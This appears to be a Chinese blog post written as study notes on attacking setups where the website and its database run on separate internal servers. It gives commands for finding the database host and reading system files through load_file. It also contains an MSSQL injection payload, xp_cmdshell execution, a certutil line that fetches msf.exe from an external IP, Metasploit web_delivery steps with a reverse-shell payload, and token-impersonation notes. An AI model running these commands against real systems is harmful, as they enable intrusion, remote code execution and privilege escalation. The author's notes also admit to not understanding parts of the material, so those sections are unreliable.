end的学习站库分离渗透思路

0X00 站库分离

站库分离其实就是管理员将网站程序和数据库分别放在了不同的内网服务器上。

0X01站库分离渗透入口

(1) Web入口渗透

通过网站的各种漏洞来Getshell,如:文件上传、文件包含、命令执行、代码执行、SQL注入写入一句话(Into outfile、日志备份)等,在获得Webshell权限或者有诸如文件读取等漏洞时,我们可以读数据库配置文件、对数据库内容分析、查找数据库备份,进而对内网数据库服务器进行渗透。

(2) Data入口渗透

从数据库入口渗透同样是为了获取更大的权限,或者扩展我们的渗透成果。比如从这台数据库服务器中可以得到网站和数据库的一些用户、密码等信息,在后续的内网渗透中可以很有效的帮助我们。

通过外网暴露的数据库弱口令、反编译或嗅探C/S客户端以及Web网站SQL注入漏洞等,在获得数据库账户密码或者利用sqlmap进入到os-shell、sql-shell,这时我们不能写入Webshel,因为这台数据库服务器中没有Web环境,但可以通过以下方式来做信息搜集和获取权限,先拿到这台数据库服务器权限,然后再尝试对Web服务器和内网其他主机进行渗透。

0x02库站分离判断

(1) 网络连接状态

通过Netstat命令查看MSSQL数据库1433端口的网络连接状态。
例如:看到与当前MSSQL数据库服务器192.168.32.8建立连接的只有192.168.32.3,由此可以判断这台主机为Web服务器。
(1433端口,是SQL Server默认的端口,SQL Server服务使用两个端口:TCP-1433、UDP-1434)

netstat -ano | findstr "1433"

(2) 数据库配置文件

通过网站程序数据库配置文件来判断是否站库分离,如果数据库IP地址是localhost、127.0.0.1或当前主机内网IP则说明为同服务器,反之则可能为站库分离,自建公网数据库和RDS云数据库除外。

(3) MySQL内置函数和库

通过MySQL的@@hostname内置函数可以查看服务端主机名称,information_schema内置库的PROCESSLIST可以定位到当前已连接数据库的用户名、主机和端口号等信息,Windows连接格式:主机名:Port,Linux连接格式:IP:Port,本地连接格式:localhost:Port。

select @@hostname;                                 //服务端主机名称
select * from information_schema.PROCESSLIST;      //客户端主机名称和端口

在得到了 web 端的 ip 我们可以进而对 web 端进行渗透。

load_file () 获取数据库所在服务器的敏感信息

如果没有 secure_file_priv 参数的限制(MySQL5.7 以下)我们还可以用 load_file() 函数对文件内容进行读取。

Load_file函数的功能是读取文件并返回文件内容为字符串。
要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
该文件所有字节可读,但文件内容必须小于max_allowed_packet。

select load_file('C:/Windows/System32/drivers/etc/hosts');//hosts文件中解析的一些内网业务的IP地址和域名
/etc/udev/rules.d/70-persistent-net.rules          //获取网卡名称
/etc/network/interfaces                            //DHCP或静态IP
/var/lib/dhclient/dhclient--网卡.lease             //DHCP
/etc/sysconfig/network-scripts/ifcfg-网卡          //静态IP
IIS/Apache/Nginx/Tomcat/Jboss/Weblogic/Websphere的相关配置文件以及网卡信息

(4) MSSQL内置函数和表

通过MSSQL的host_name()、@@servername和serverproperty几个内置函数来判断是否站库分离,如果客户端与服务端返回的主机名不一样则说明为站库分离,返回的主机名一样则说明可能为同服务器。

select host_name();                       //客户端主机名称  ---HOST_NAME()函数返回服务器端计算机的名称
select @@servername;                      //服务端主机名称 ---@@servername:返回运行Sql server的本地服务器名称
select serverproperty('MachineName');     //服务端主机名称

也可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST,可以定位到当前已连接到sqlinject数据库的用户名和主机名等信息。

processlist命令的输出结果显示了有哪些线程在运行,可以帮助识别出有问题的查询语句,两种方式使用这个命令。如果有SUPER权限,则可以看到全部的线程,否则,只能看到自己发起的线程(这是指,当前对应的MySQL帐户运行的线程)。

有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址。

select name from master.sys.sysdatabases;
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');
exec master..xp_cmdshell 'cmd /c ping WIN-111111111';

MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器。

and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end)))

0x03站库分离利用

目标主机允许通外网时
(1) 下载远程文件
Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell等方式来下载远程文件到可读写目录中,然后再去执行一下即可。(没看懂。。。。。)

certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:\ProgramData\msf.exe

(2) 执行远程Payload
直接利用exploit/multi/script/web_delivery和exploit/windows/misc/hta_server两个模块来执行远程Payload获取会话。(这个也不懂。。。)

exploit/multi/script/web_delivery:让目标设备从远端服务器加载webshell代码至内存执行。------默认情况下目标设备来调取的时候其实是将webshell在远端服务器执行,并不是将文件加载至自己内存执行
使用msf中exploit的web_delivery模块。此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行

1use exploit/multi/script/web_delivery

2、set target PHP   ====>因为一般web平台默认支持PHP,所以我们选择兼容性最好的PHP做webshell

3、set payload php/meterpreter/reverse_tcp    ====>选择php写的meterpreter

4、set lhost 172.20.163.160

5、set lport 1111

6、run

exploit/windows/misc/hta_server借鉴:

http://cache.baiducontent.com/c?m=h-s5dJVaCeHB2x7Io9Y2mc-FDNxw5D7NMEWDl0cULXlNW3zvV4Jlbg5gZyisDrmfAth6phRDFZU15D1KfvU_8ZuzMdHvUYoUFrCFGJ9orRCLWIMbKP4wqfb0Fa3FFVuZy9LwFNF3Tts0MM_EvG9U82XUCFyd9t8UXIcc4sdKxNS&p=8b2a9715d9c643f613f18e364a55&newp=8b2a9702819211a05def87605f5292695d0fc20e3ad1da01298ffe0cc4241a1a1a3aecbf2d29160fd3c57d6401ab4c5cebf632703d0034f1f689df08d2ecce7e68df76&s=cfcd208495d565ef&user=baidu&fm=sc&query=exploit/windows/misc/hta%5Fserver&qid=abfc90d5001031de&p1=7

(3) 模拟令牌权限提升
主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌。(支持Windows身份验证的数据库连接工具有:sqlcmd、SSMS和Navicat Premium等。)

C:\Program Files\Microsoft SQL Server\100\Tools\Binn>sqlcmd.exe -S "192.168.1.109" -E
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值